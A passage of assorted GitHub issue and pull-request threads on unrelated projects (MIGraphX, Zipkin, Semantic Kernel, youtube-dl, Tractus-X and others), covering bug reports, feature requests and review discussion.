:arrow_up:

pyramid/tier_fs.go
58.51% <0.00%> (+1.74%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fbb69bd...ae08458. Read the comment docs.


fix: Footer  Section alignment  issue

Title : fix : Footer Section alignment issue.
Issue No. : #906
Code Stack :
Close #906
Description
fix the aligment of the  social media icons and reachout alignment
Video/Screenshots (mandatory)

Type of PR

[x] Bug fix

Checklist:

[x] I have performed a self-review of my code.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] I have tested the changes thoroughly before submitting this pull request.
[x] I have provided relevant issue numbers, screenshots, and videos after making the changes.
[x] I have gone through the  contributing.md file before contributing

##Are you contributing under any Open-source programme?

[ ] I am contributing under GSSOC'24
[x] I am contributing under VSOC'24

@itsekta , you have assigned this issue me .

@apu52 @itsekta ,  this issue is already assigned to me .


.Net: Add experimental attributes to packages

Motivation and Context
Adding the experimental attribute to packages and classes in the .NET SDK of Semantic Kernel to mark things that won't be ready be v1.0.0 of Semantic Kernel.
Contribution Checklist

[ ] The code builds clean without any errors or warnings
[ ] The PR follows the SK Contribution Guidelines and the pre-submission formatting script raises no violations
[ ] All unit tests pass, and I have added new tests where possible
[ ] I didn't break anyone :smile:

@terrajobst, how fine-grained would you recommend different experimental diagnostic ids be? Does this look reasonable?

In general, my recommendation is to have one diagnostic per experimental feature such that a user has a single suppression per experimental feature. It looks like the diagnostic IDs were based on area. If the entire area is experimental that is probably fine.
However you'll want to think about how you're going to evolve this moving forward. For example, in V1 all of "image services" (SKEXP0002) is going to be experimental.  In V3 you're adding a new Doodad feature that is part of image services. Are you going to use SKEXP0002 for Doodad as well? What are you going to do for cases where a new feature is cross cutting and needs supporting APIs across multiple areas? In this case, I think you'll want a net-new diagnostic ID for the Doodad feature.
Does this make sense?

Does this make sense?

@terrajobst, yes it does. Based on my understanding of what you said, once we make an area non-experimental, we likely will retire the ID of the area. New IDs should then be created for each feature that can ship independently.


Infinite recursion in module::sort(), speech_transformer

Model speech_transformer in the DLM pytorch performance test causes an exception which is traced to an infinite recursion in the MIGRAPHX method module::sort().
The error is only seen in branch fix_find_pointwise_reduce because in the develop branch, the test exits earlier due to a different bug.  The error is not seen in commit efc01466f which was created from develop commit ee68f7261f2 but does occur when I merge with commit 2bdd02d38c41 (may 3).  It's not known what commit between those two first introduces the bug.
Steps:

Set up DLM performance test environment
Check out branch fix_find_pointwise_reduce and then merge branch develop.
Run the test script python benchmarks/dynamo/torchbench.py  --inference --float16 -dcuda --performance --backend migraphx -k  speech_transformer
Multiple *.mxr models are created.  Run MIGraphX driver on the first one:  bin/driver compile ../../pytorch/fused_0.mxr to see the fail.

I just saw this same failure with the GoogleFnet model.  An mxr file created from GoogleFnet is on hyd-7c-ZT09-02.amd.com

Here's a reduced test case:
p = migraphx.program()
m = p.get_main_module()
x_0 = m.add_literal(migraphx.generate_argument(migraphx.shape(type="float_type", lens=[5,784,768]), 0))
x_1 = m.add_literal(migraphx.generate_argument(migraphx.shape(type="float_type", lens=[1]), 1))
p_x = m.add_parameter("x",migraphx.shape(type="float_type", lens=[5,784,768]))
x_3 = m.add_instruction(migraphx.op("reduce_mean", axes=[-1]), [p_x])
x_4 = m.add_instruction(migraphx.op("multibroadcast", out_lens=[5,784,768]), [x_3])
x_5 = m.add_instruction(migraphx.op("sub"), [p_x, x_4])
x_6 = m.add_instruction(migraphx.op("multibroadcast", out_lens=[5,784,768]), [x_1])
x_7 = m.add_instruction(migraphx.op("div"), [x_5, x_6])
x_8 = m.add_instruction(migraphx.op("mul"), [x_7, x_7])
m.add_instruction(migraphx.op("reduce_sum", axes=[-1]), [x_8])


Adds a docker-compose.test.yml to do a health check of built container.

Also adds a health check command to our docker image for being able to see health with docker ps.
Docker Hub automatically runs this file after building an image. Example build at https://cloud.docker.com/repository/registry-1.docker.io/anuraaga/docker-hub-test/builds/7f0936ce-74e2-4614-815c-ef57daa7db42
Currently, the test just curl's the health endpoint, without jq. This doesn't actually test until https://github.com/line/armeria/pull/2088 - I figured since this is a new test, it's not worth getting too complex finding a reputable image with curl and jq and can wait until that's in to finish it.

Going to go ahead and merge this in to get it in action, happy to follow up with any more tweaks. The healthcheck is just a default if a user didn't specify anything, and I think it's a reasonable default for those that don't have stricter needs in their deployments.

Going to go ahead and merge this in to get it in action, happy to follow up

with any more tweaks. The healthcheck is just a default if a user didn't
specify anything, and I think it's a reasonable default for those that
don't have stricter needs in their deployments.

Thanks I agree. Appreciate your answering the questions!

PS I don't agree that a start period of 30s is reasonable. We've intentionally overridden defaults with a very long start period. I just want to clarify that I still thing this is excessive.

I think your concern was whether it blocks, but it

Doesn't block, it probes every interval regardless - went ahead and lowered interval to 5s. Any failures during the start-period aren't counted as "unhealthy", they're just skipped, but they still happen.

A shorter start period has a higher chance of waiting for startup since if the server starts up just after the start period, it will take 3 healthy checks before the server is treated as healthy (any health check failures during the start period are ignored rather than setting the server as explicitly unhealthy, an unhealthy server requires multiple healthy checks to come back unlike a starting one that just takes one).
Let me know if there's still a problem with that behavior.

When I used to run systems, it was often the case (perhaps excessive) that polling intervals were one second. I have seen 5 before, though. I know at twitter it was a real problem to have long delays before health was marked as such, some of this was caused by having to readback metrics that were themselves delayed.
What you are saying is that service will receive traffic until such time as a health check is bad (ex not until such time it is good). That should be in a comment because otherwise people will read this and say "zipkin takes a half a minute to start" which echos and causes more damage to time lost than most bugs do.

I would suggest a comment like"
We put an excessive 30s initial delay to avoid spurious health check failures from delaying tests. # The health check config here is not a recommendation for production. Do not copy/paste

For example, I know @basvanbeek had a startup on his laptop that took almost 30s. He rebooted his laptop and then it took less than 10. It is super important that we discuss the difference between things overly defensive due to laptops etc and things for production. We are in a copy/paste culture.
A health check of 1s if bad, we should also highlight that. Literally we are overriding all the defaults and the values used should be transparently explained. If 1s is triggering a bug or something, because health checks are not synchronized properly etc, we should say why the duration is so long.
This whole issue would have been easier on me at least if you were transparent about the values used in the first place. Every time we override defaults we all should know why.. that's how you can take holidays etc.

Anyway I can't explain the 5s part, I would like to know why we are overriding it.. if it is random, based on personal experience, or walking around a problem. If the latter, I'd like to make an issue about it.
Meanwhile I'll make a comment about the initial duration in a separate PR to try to avoid FUD from spreading.

Here's an attempt to get off this topic and back to work :) https://github.com/openzipkin/zipkin/pull/2812


Best practice for installation via poetry using M1 mac (arm chip)

I've managed to get the installation via poetry to work by explicitly pointing to the wheel URL e.g.
[tool.poetry.dependencies]
tensorflow-decision-forests = [
    { markers = "sys_platform != 'darwin' or platform_machine != 'arm64'", version = "==1.3.0" },
    { markers = "sys_platform == 'darwin' and platform_machine == 'arm64'", url = "https://files.pythonhosted.org/packages/7a/a4/e818814fec37812222f77ae85b41bd6a95c4c90b0b92e03c9c9577601056/tensorflow_decision_forests-1.3.0-cp310-cp310-macosx_12_0_arm64.whl" }
]

The reason the installation via a simple
[tool.poetry.dependencies]
tensorflow-decision-forests = "==1.3.0"

doesn't work, is that tensorflow-decision-forests expects the dependency tensorflow (which doesn't exist for arm mac, one needs tensorflow-macos instead). This dependency is specified correctly within the mac arm64 wheel distributed here: https://pypi.org/project/tensorflow-decision-forests/#files
Is there a better way to achieve this? e.g. is there a documented installation option e.g. pip install 'tensorflow-decision-forests==1.3.0[macos] which I have missed?

Hi,
I'm not very familiar with Poetry, so I believe that this is the best strategy that's available at this point.
If anyone can open a PR that opens a better way  - maybe some changes to our setup.py -  I'll be happy to integrate it into our next release!

Since tensorflow seems to have consolidated into one package (no need for tensorflow-macos anymore), I expect this to be fixed with the next version.


Additional communication with Pages customers on Ruby upgrade

Following #2486, we should send out information to customers on their responsibilities for Ruby upgrades
Acceptance Criteria

[x] Create customer communication plan

Cross reference current jekyll customers to target comms

[x] Create communication materials
[x] Send communication

Security considerations
None

All sent out


Today is a holiday

If today is a holiday, such as Visaka Puja, show the holiday name.

This is implemented as part of UposathaView: just the moon words change.


chore: use newer gobox and devbase that uses new version of gobin

What this PR does / why we need it: As the title says, it does.
JIRA ID: DT-0

Notes for your reviewer:

:tada: This PR is included in version 1.4.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


operator.yaml missing in master

operator.yaml missing in master as explained in https://banzaicloud.com/blog/vault-operator/
however, we can find it in 0.5.x branch.

Hi @pashafirdous, thanks for the follow-up. Yeah, we have removed the custom manifests, and offer the Helm chart as the official way to install the operator, I will update the blog post accordingly!
Cheers!


InteractionCallback getting passed as null to pixi layers findHit, resulting in error

plugins.interaction.hitTest sends null for the InteractionCallback of processInteractive, which in turn drills down to @pixi/layers this._finishInteractionProcess which calls it without actually checking that it exists/is callable.
https://github.com/pixijs/pixi-layers/blob/75c4078445b30f27cca153cfb931e37bff734edd/src/LayersTreeSearch.ts#L180-L182
You check that func exists when processing the second queue item, but not the first. Is this just an oversight or is there a reason for that?
If you look at the same function in the v5 branch, it seems like it's much more careful about what it's passed:
https://github.com/pixijs/pixi-layers/blob/4b5b29d6f1770fb0d40f21848bd7b35e00a6a931/src/LayersTreeSearch.ts#L153-L163

Closed by #77


xWebApplication enhancement - specific user credentials for physical path

When adding an application there is no way to supply a specific user to the physical path.  The default of "Application User (pass-through authentication)" will not work if alternate credentials are required to the location. This is especially true when using UNC paths to other devices.
This is a request to enhance the module to accept a specific user credential for the physical path that the application is using.

Labeled this as help wanted so that someone in the community can run with it.

I think this a great idea.  I've got a unique requirement with Azure Files in which I need a DSC configuration to utilize it as a UNC path; however, it requires a different credential to access it.   Passing those credentials in along with the physical path would be awesome.

I am glad I found right discussion
I am trying to create a webApplication on IIS pointing to Azure File share using PowerShell DSC xWebApplication as below
xWebApplication AppName
{
DependsOn = "[xWebSite]xWebSiteName"
Name = "appname"
PhysicalPath = "\azurefileshare\etc"
WebAppPool = $AppPoolName
Website = $WebSiteName
}
I am getting "Parameter 'PhysicalPath' should point to existing path." error where the mentioned path can be accessed manually and able to set to IIS application manually.
All the user accounts involved in the process have full control access on file share
Also observed in Process Monitor that PowerShell DSC kicks off "C:\windows\system32\wbem\wmiprvse.exe" running as NT AUTHORITY\SYSTEM and not sure how to change user when running th PowerShell DSC.
image
Can someone help in this regard please.

Should not the path start with two \\?
It is possible to provide a credential with the built-in parameter PSDscRunAsCredential

Thanks @johlju for your response
Sorry I missed \ above, the path I am using as \ only.
Can you please specify where exactly to add PSDscRunAsCredential in the script

The same as the other parameters, like this:
xWebApplication AppName
{
DependsOn = "[xWebSite]xWebSiteName"
Name = "appname"
PhysicalPath = "\azurefileshare\etc"
WebAppPool = $AppPoolName
Website = $WebSiteName
PSDscRunAsCredential = (Get-Credential)
}

of course you change to pass the PSCredential variable that holds the credential you need.

But the issue might be that you need one credential to run the resource and another credential to connect to the share? 🤔

after specifying PSDscRunAsCredential  getting a prompt for credentials and following with below error after manually providing credentials

You should have certificates to protect the credentials in the compiled MOF. If this is a lab you can opt-in for plain text passwords.

See more information here: https://docs.microsoft.com/en-us/powershell/scripting/dsc/configurations/configdatacredentials?view=powershell-7.1

Thanks @johlju I will try those suggestions and will reach back.


Extract useful internal manager messaging

In order to send messages to the IML agent and between IML manager
processes, extract a few fns that can be reused between crates.
Signed-off-by: Joe Grund<EMAIL_ADDRESS>

Landed in: dceaa5a03c3e8407d7dbe25da2db939f277fc5ba


Add When Statement For Editor Group Position

Be able to detect when the current editor group is on the far left / right / top / bottom and configure keyboard commands off that. My goal would be able to do something like:
  {
    "key": "ctrl+w j",
    "command": "workbench.action.terminal.focus",
    "when": "editorFocus && editorIsOnBottom"
  },
  {
    "key": "ctrl+w h",
    "command": "workbench.action.focusSideBar",
    "when": "editorFocus && editorIsOnLeft"
  },

This feature request is now a candidate for our backlog. The community has 60 days to upvote the issue. If it receives 20 upvotes we will move it to our backlog. If not, we will close it. To learn more about how we handle feature requests, please see our documentation.
Happy Coding!

This feature request has not yet received the 20 community upvotes it takes to make to our backlog. 10 days to go. To learn more about how we handle feature requests, please see our documentation.
Happy Coding!

:slightly_frowning_face: In the last 60 days, this feature request has received less than 20 community upvotes and we closed it. Still a big Thank You to you for taking the time to create this issue! To learn more about how we handle feature requests, please see our documentation.
Happy Coding!


Add support for other databases

This adds support for arbitrary Databases via a trait, the is available under the feature flag DatabaseTrait.
But this can be changed maybe a better name would OtherDatabase or something like this.
Internally the trait is shipped anyway since the default supported database implementations now rely on that trait but I thought it would make sense to hide the trait behind a feature flag.
What I didn't include is rewritten examples, since it requires some more changes as you can read below but I will rewrite them asap once its decided what to do. Also I'm sure the error implementation could be improved since its currently like this:
pub enum SessionError {
    .....
    #[error("Generic Database insert error")]
    GenericInsertError,
    #[error("Generic Database select error")]
    GenericSelectError,
    #[error("Generic Database create error")]
    GenericCreateError,
    #[error("Generic Database delete error")]
    GenericDeleteError,
}

The only problem that would require a workaround or restructuring of the underlying functions is that AxumSessionStore<T> takes a generic parameter T which conflicts with using AxumSessionStore::new(None, config);, since the compiler cannot infer type for type parameter T.
A fix would be to implement the trait for the in memory storage which would in turn remove the need for the Option<T> type for the client parameter that AxumSessionStore::new() takes.
This wouldn't introduce that much changes for the users since they need to import the  Axum*Pool for the respective database anyways, since its not enforced that a trait implementation also implements Into<T> and pass into the new function. So we could just easily make a AxumInMemoryPool struct that implements the current in memory storage functions.
That would also come with the benefits of removing some logic, for checking if in memory should be used or not, since we can use a few functions to use any storage/database backend.

The only problem that would require a workaround or restructuring of the underlying functions is that AxumSessionStore<T> takes a generic parameter T which conflicts with using AxumSessionStore::new(None, config);, since the compiler cannot infer type for type parameter T. A fix would be to implement the trait for the in memory storage which would in turn remove the need for the Option<T> type for the client parameter that AxumSessionStore::new() takes.

We should be able to work around this while keeping the possibility to store in memory as memory storage should Always come first before any other type of storage. This is a buffer zone as it saves us from massively requesting data from Databases for no reason. Also the T should be infer-able even within a Option. We will just need to work this out.

This wouldn't introduce that much changes for the users since they need to import the Axum*Pool for the respective database anyways, since its not enforced that a trait implementation also implements Into<T> and pass into the new function.
Yeah there is no need to enforce Into since the Struct would be built by the end user for their Respective database anyways. the only Time we would Request Into is if they want to implement their Database type into the library itself.

So we could just easily make a AxumInMemoryPool struct that implements the current in memory storage functions. That >would also come with the benefits of removing some logic, for checking if in memory should be used or not, since we can use a >few functions to use any storage/database backend.
I want memory to always exist as this saves from SQL load calls and speeds up the ability to reply to Requests. If we remove this then the library itself will be much slower and Require the Memory load functions to also be implemented at the Database side within the internal functions by the End users or by us which means more code.

I want memory to always exist as this saves from SQL load calls and speeds up the ability to reply to Requests. If we remove this then the library itself will be much slower and Require the Memory load functions to also be implemented at the Database side within the internal functions by the End users or by us which means more code.

Ah okay then my bad for miss understanding the reason behind the in memory store^^ and thanks for the feedback


[Question]: How to create *.mat files

I realized you have depth.mat, flat.mat, shadow.mat and textured.mat. I'm wondering how did you create those files?(that then we can build .filamat files with the help of the shell script).

It's built using matc from files in ./app/src/main/materials/. You can download compiled binaries for matc here: https://github.com/google/filament/releases
Make sure you download the version compatible with filament in build.gradle.
Copy matc into the root of the project and run this script https://github.com/zirman/arcore-filament-example-app/blob/master/build-materials.sh.

Okay, I'm confused. we have(how?) filamat files which after we use the build-materials.sh/matc, we get mat files?
Or
We have mat files which after we use the build-materials.sh/matc, we get filamat files?
Either way, how we get the first files?

I'm asking this because of two things:
1- When I replace your GBL with mine, I get this error after run:
    reason: uniform named "alpha" not found
2021-11-09 14:32:27.401 7841-23509/com.example.app E/libc: Access denied finding property "vendor.camera.aux.packagelist"
2021-11-09 14:32:27.404 7841-23509/com.example.app E/libc: Access denied finding property "persist.vendor.camera.privapp.list"
2021-11-09 14:32:27.414 7841-23553/com.example.app E/Filament: Unable to parse glb file.
2021-11-09 14:32:27.421 7841-23482/com.example.app E/libc: Access denied finding property "vendor.camera.aux.packagelist"
2021-11-09 14:32:27.422 7841-23482/com.example.app E/libc: Access denied finding property "vendor.camera.aux.packagelist"
2021-11-09 14:32:27.437 7841-7841/com.example.app E/AndroidRuntime: FATAL EXCEPTION: main
    Process: com.example.app, PID: 7841
    java.lang.NullPointerException
        at com.example.app.renderer.ModelRenderer$1$filamentAsset$1.invokeSuspend(ModelRenderer.kt:49)

2- If I want to update filament dependencies, I need to run the build-materials.sh Otherwise, I get an error:

reason: Material version mismatch. Expected 12 but received 11.


UIViewController

Hi,
Is there any way to add it to a UIViewController without a table view?
Thanks

@danielgomezrico you can add to all UIScrollView subclasses, like UICollectionView or own UIScrollView.


[feature request]: Track file position navigation history

Full Visual Studio has a nice feature where the file position navigation history is tracked, such that if we go to a particular position in any file (eg. From a "Go to definition" command), we can go back to the previous position by pressing Ctrl-- and going forward again by pressing Ctrl-+
Having this in vscode would be valuable as we can easily preserve our mental editing context by being able to easily switch to various file locations back and forth.

The default keybindings include these:
{ "key": "ctrl+alt+-", "command": "workbench.action.navigateBack" },
{ "key": "ctrl+shift+-", "command": "workbench.action.navigateForward" }

Do these differ from your request?

Ah, I must've missed that. Disregard this.


Fix light group update before add

Description:
See https://github.com/home-assistant/home-assistant/pull/12843#issuecomment-370017258
I've tried the tests for group.py around 20 times now and this seems to resolve the flakey test issue as well.
Also: the Home Assistant core PR has been merged, but the docs PR hasn't; if someone could take a look at that before 0.65 is released, that would be awesome 🎉: https://github.com/home-assistant/home-assistant.github.io/pull/4739
Example entry for configuration.yaml (if applicable):
light:
  - platform: group
    entities:
      - light.light_1
      - light.light_2

Checklist:

[x] The code change is tested and works locally.

If the code does not interact with devices:

[x] Local tests with tox run successfully. Your PR cannot be merged unless tests pass
[ ] Tests have been added to verify that the new code works. (Well, the tests, while flakey, seem to have spotted this bug in the first place... 🤓)

This time it was the DDWRT flaky test that broke your build.


Youtube playlist error

root@microserver:/storages/sdc/tmp# youtube-dl -f bestaudio  "https://www.youtube.com/watch?v=1w7OgIMMRc4&list=PLP4CGQEPAJPJbZOnCv7MgdWSoZzeaqBpm" -v
[debug] System config: []
[debug] User config: []
[debug] Command-line args: [u'-f', u'bestaudio', u'https://www.youtube.com/watch?v=1w7OgIMMRc4&list=PLP4CGQEPAJPJbZOnCv7MgdWSoZzeaqBpm', u'-v']
[debug] Encodings: locale UTF-8, fs UTF-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2<IP_ADDRESS>
[debug] Python version 2.7.10 - Linux-4.2.0-22-generic-x86_64-with-Ubuntu-15.10-wily
[debug] exe versions: ffmpeg 2.7.3-0ubuntu<IP_ADDRESS>, ffprobe 2.7.3-0ubuntu<IP_ADDRESS>, rtmpdump 2.4
[debug] Proxy map: {}
[youtube:playlist] Downloading playlist PLP4CGQEPAJPJbZOnCv7MgdWSoZzeaqBpm - add --no-playlist to just download video 1w7OgIMMRc4
[youtube:playlist] PLP4CGQEPAJPJbZOnCv7MgdWSoZzeaqBpm: Downloading webpage
[youtube:playlist] PLP4CGQEPAJPJbZOnCv7MgdWSoZzeaqBpm: Downloading page #1
[youtube:playlist] PLP4CGQEPAJPJbZOnCv7MgdWSoZzeaqBpm: Downloading page #2
[youtube:playlist] PLP4CGQEPAJPJbZOnCv7MgdWSoZzeaqBpm: Downloading page #3
[youtube:playlist] PLP4CGQEPAJPJbZOnCv7MgdWSoZzeaqBpm: Downloading page #4
ERROR: Unable to extract title; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see  https://yt-dl.org/update  on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/youtube_dl/YoutubeDL.py", line 650, in extract_info
ie_result = ie.extract(url)
File "/usr/lib/python2.7/dist-packages/youtube_dl/extractor/common.py", line 273, in extract
return self._real_extract(url)
File "/usr/lib/python2.7/dist-packages/youtube_dl/extractor/youtube.py", line 1365, in _real_extract
return self._extract_playlist(playlist_id)
File "/usr/lib/python2.7/dist-packages/youtube_dl/extractor/youtube.py", line 1339, in _extract_playlist
page, 'title')
File "/usr/lib/python2.7/dist-packages/youtube_dl/extractor/common.py", line 564, in _html_search_regex
res = self._search_regex(pattern, string, name, default, fatal, flags, group)
File "/usr/lib/python2.7/dist-packages/youtube_dl/extractor/common.py", line 555, in _search_regex
raise RegexNotFoundError('Unable to extract %s' % _name)
RegexNotFoundError: Unable to extract title; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see  https://yt-dl.org/update  on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.

Your version of youtube-dl is positively antique. You ca either gently prod the package maintainer to update it or remove the repository version and switch to Pip which is updated bi-weekly:
'''sudo apt-get remove youtube-dl'''
And you're gonna need to switch to the Pip repository version:
'''sudo apt-get install python-pip atomicparsley'''
Then install youtube-dl from pip:
'''sudo -H pip install --upgrade pip youtube_dl'''
From now on, use this to upgrade youtube-dl:
'''sudo -H pip install --upgrade youtube_dl'''

Your version of youtube-dl is positively antique. You ca either gently prod the package maintainer to update it or remove the repository version and switch to Pip which is updated bi-weekly:
'''sudo apt-get remove youtube-dl'''
And you're gonna need to switch to the Pip repository version:
'''sudo apt-get install python-pip atomicparsley'''
Then install youtube-dl from pip:
'''sudo -H pip install --upgrade pip youtube_dl'''
From now on, use this to upgrade youtube-dl:
'''sudo -H pip install --upgrade youtube_dl'''

Alternatively switch to the Pip version of the script which is updated MUCH more often, bi-weekly:
sudo apt-get remove youtube-dl
sudo apt-get install python-pip atomicparsley
sudo -H pip install --upgrade pip youtube_dl
To upgrade it in the future, run:
sudo -H pip install --upgrade youtube_dl

Alternatively switch to the Pip version of the script which is updated MUCH more often, bi-weekly:
sudo apt-get remove youtube-dl
sudo apt-get install python-pip atomicparsley
sudo -H pip install --upgrade pip youtube_dl
To upgrade it in the future, run:
sudo -H pip install --upgrade youtube_dl

You are using an outdated version of youtube-dl. Read our FAQ if you have troubles updating.

Great guys! Thanks alot. It is working !


Fixx : footer Design and Stars on the home page

PR Title
#UI Update to the root page .
Description
Before :

###After :

Checklist

[x] I have Made this contribution as per the CONTRIBUTING guide in this repo
[x] I have tested in local Environment.
[x] I have made the fix as per issue converstaion
[x] I have starred the repository ⭐

Hi @kiritocode1 ,
I personally like text link to icons, but I would accept this PR with label hacktoberfest-accepted. Please check other open issues!

Ok 👌 ggs


Support Jest 26 + TS 3.8

Jest 26 has breaking changes for TS users.
joke will have to go along.

Released in<EMAIL_ADDRESS>v1.0.0 will be released soon.


Release pull request for branch 19.11

This PullRequest is part of ClickHouse release cycle. It's used by CI system only. Don't perform any changes with it.

Do not release, need to fix one bug.

Checked locally that all Kafka tests pass

No more patch-releases for this branch.


[R24.08] [Knowledge Agents] Release Checks

[!IMPORTANT]
Follow the guidance on how to use the templates.

Release Info
Version to be included in Eclipse Tractus-X release: 1.13.22
Leading product repository: https://github.com/eclipse-tractusx/knowledge-agents
General Checks

[x] Tractus-X Release Guidelines(TRGs) fulfilled

https://github.com/eclipse-tractusx/knowledge-agents/issues/151

https://github.com/eclipse-tractusx/knowledge-agents-edc/issues/230

https://github.com/eclipse-tractusx/knowledge-agents-aas-bridge/issues/73

[!NOTE]
Note: most criteria for documentation and security are now covered in TRGs

Test Results

[x] E2E Integration Test passed
[x] User Journey approved

Helpful Links

Eclipse Tractus-X openAPI specs on SwaggerHub

Integration and E2E Tests completed and documented here: https://github.com/eclipse-tractusx/knowledge-agents/issues/150

@obalandi User Journey herewith approved

Could you set the check for the e2e test and user journey and could you give me an update on how far you are with the TRGs ?

Hey @almadigabor, could you start with TRGs? Thx.

@almadigabor could you give me an update on how far you are with the TRGs? :)

@obalandi could you give me an update on how far the TRGs are done? :)

We will be able to finish it on Monday (08/05), @almadigabor

We will be able to finish it on Monday (08/05), @almadigabor

Okay, we will prepare everything and wait for you!
Could you please be through with the TRGs by 12 noon and please write us once when you are through so that we can start directly. And please let us know if there are any changes to the version.
Many thanks

@obalandi @almadigabor Will you be able to finish the TRGs by 12 noon?

Hey @ther3sa, I was out of office last week, haven't got the change to do the checks. As they are not done yet, I'll start now, and report back to you in the afternoon.

Hey @ther3sa, I was out of office last week, haven't got the change to do the checks. As they are not done yet, I'll start now, and report back to you in the afternoon.

Thank you :)

Hey @ther3sa, All the checks are done from my side, except there are 3 critical security findings in the knowledge-agents repo here. As far as I remember these were already dismissed as false positives in the last release but I would need some confirmation from the team before I approve that. Once they are dealt with one way or another I would approve the QG from my side.

@almadigabor I cannot see the linked findings (Error 404). Recall the "false positives" outcome although. Any chance to retrieve then?
@ther3sa fyi: Oz, Schorsch and Tom are on Holidays

Hi @bosserf, I've found the discussion where @drcgjung indeed hinted that these exact 3 alerts are false positives. Therefore I approve the QG and close this issue with a remark that this reappearing finding should be investigated until the next release. I've opened an issue where it can be tracked at a later date.

Cool. Good Job, Sherlock 👍 😎

I approve that the findings are False Positive and TRG checks has been completed by @almadigabor.
@drcgjung : Please address the issue #157 as this was already present in the last release and we want to make sure that issue has been addressed completely.

Hi @almadigabor, I don't quite understand the reasoning here why this should be a false positive, could you please explain it to me?:
When you have a look at the affected branches:

You see that for the release branch of the last release, you fixed the finding with this PR https://github.com/eclipse-tractusx/knowledge-agents/pull/129.
But this change was apparently not integrated into the main branch since then and it it's also not part of the release branch of the new release.
IMO, the finding needs to get solved also in the new release branch and in the main branch.

I have marked the CodeQL findings as False Positive with the reason "URLs to services are aquired during runtime. In this case URL is proxied through the EDC and hence no user input. Validation is done via sanitization of the input".
Together with @almadigabor, I confirm the approval of Security TRG related to CodeQL findings.

Cool thank you very much for your effort and discussion, @ther3sa approval? ;)

Congrats:

Quality Gate fully approved with all necessary pre-requisites fulfilled!

Thanks for all your efforts :)


Added tests to ghost release process

no issue

Runs all tests after initial setup in release process, aborts immediately in case of any failures.

Pro: Always ensures all tests are green before cutting out a release.
Con: Increases overall duration of generating a release by (~20 mins) as all tests need to pass before by default. Though this can be bypassed as its possible to skip tests by calling release with flag like grunt release --skip-tests
Alternative approach was to run tests in the release task in Ghost-Release, but downside in that case is its only possible to run tests after the main release task as tests can only be run after initial setup. Since ideally we shouldn't wait for rest of the release tasks to complete before aborting the release in case of a failure, adding it here seems to make more sense.
Possible downside of adding the task here instead of Ghost-Release is in this case its not straight-forward to add a flag to grunt release to skip tests for a release(e.g grunt release --skip-tests) as we don't pass grunt flags down to subgrunt 😬

@kirrg001 Updated the release process to allow for --skip-tests to be passed, which will skip all tests and also prompt that on terminal.

Cool. I think this is a good step in the right direction. Any further improvements can be discussed.
It's def annoying that building the release can take up to 20 minutes, but this is a natural consequence because our daily workflow is much faster than before 👍


Question about the pretrained model

Hi,
Can I know if the currently released pretrained model has been trained on 3dpw or not? Thanks!

Thanks for your interest!
It wasn't trained on 3dpw.
I have a version which has been trained on the train set of 3dpw, which has way more better performance on 3dpw.

Got you. Thanks for the quick reply!


Support Multiple Newsletters

This PR adds the ability to manage multiple newsletters directly from Ghosler.

The Flow

User publishes a blog post
Ghosler receives the data via webhook
Ghosler checks if there are more than 1 newsletters -
a. If no, sends the newsletter as usual to all subscribed members.
b. If yes, saves the Post data with all the required information for further actions.
User must go to Analytics page
Select the new post which will now have a Send button
A list of all active newsletters is shown
Click Send on a newsletter & the Post will be sent to the subscribers of that newsletter only

Adding the list of 'active' newsletter along with a Generic newsletter type that sends the email to all members.

I have tested this with the latest commit and this seems to work fine. This can be merged.

Would be an interesting idea to setup tags for the newsletters ( eg #newsletter1, #weeklydigest, etc... ) automatically over the api and that way when posts are published and have been tagged with the appropriate internal tag, it gets mailed to the corresponding newsletter automatically! I'm not currently using multiple newsletters so am not inclined to implement this at the moment but thought I'd share the idea!


Math magicians: components

Math magicians: components
In this branch, I have continued the development of the Math Magicians app.
I have developed a React component that will hold the core functionality: a calculator.
Highlights

I have created a directory called components.
Inside components, I have created a new Calculator.js file.
In Calculator.js, I have created a React component of this design:

Cheers and happy reviewing! :joy_cat:

Thank you @Nemwel-Boniface


Adding ca feature for SASL configuration

In case of the
Bitnami image with IBM cloud looks required  CA cert with SASL.
However, it looks not available according to the code.
https://keda.sh/docs/2.0/scalers/apache-kafka/#authentication-parameters
https://github.com/kedacore/keda/blob/main/pkg/scalers/kafka_scaler.go#L173
Use-Case
Wrote it as above.
Specification

[ ] Demand #1
We need ca configuration for the Kafka scaler along with SASL configuration.

Internally, https://github.com/Shopify/sarama library we use, however, it look not support it. Need more investigate.


[US] Request persistent storage

Estimated story points: 3
Description

As a user I don't want my data to be lost so we should request persistent storage https://web.dev/persistent-storage/

Acceptance criteria

time: 3.5h


New version: astral-sh.uv version 0.5.1

Checklist for Pull Requests

[x] Have you signed the Contributor License Agreement?
[x] Is there a linked Issue? No.

Manifests

[x] Have you checked that there aren't other open pull requests for the same manifest update/change?
[x] This PR only modifies one (1) manifest
[x] Have you validated your manifest locally with winget validate --manifest <path>?

[x] Does your manifest conform to the 1.6 schema?

Note: <path> is the directory's name containing the manifest you're submitting.

Microsoft Reviewers: Open in CodeFlow

winget --version :  v1.9.25180
I don't know why the validation failed. The validation and installation were successful on my Windows 11 Home x86-64 computer.

The logs in here were a bit messy, so I've decided to restart the PR  and re-run the validation.
New PR: https://github.com/microsoft/winget-pkgs/pull/190127


Fix job summary crash for local endpoints

Previously proxy url manipulation code assumed all endpoints to be remote.

+1


Cloud provides response type change recipe?

I have tried the existing recipe. Now the recipe MigrateApiOperationToOperation directly deletes the response without change.
- org.openrewrite.java.RemoveAnnotationAttribute:
      annotationType: io.swagger.v3.oas.annotations.Operation
      attributeName: response

How to Migrate from Swagger to OpenAPI， Get the replacement below. Especially reserve the reponse type
 @ApiOperation(value = "acquireSyncLeader", notes = "acquireSyncLeader", response = String.class, httpMethod = "GET")
i hope after migrate :
 @Operation(summary = "acquireSyncLeader", description = "acquireSyncLeader", responses = {@ApiResponse(responseCode = "200",             content = @Content(schema = @Schema(implementation = String.class))),

邮件已经收到，我会尽快查看，谢谢

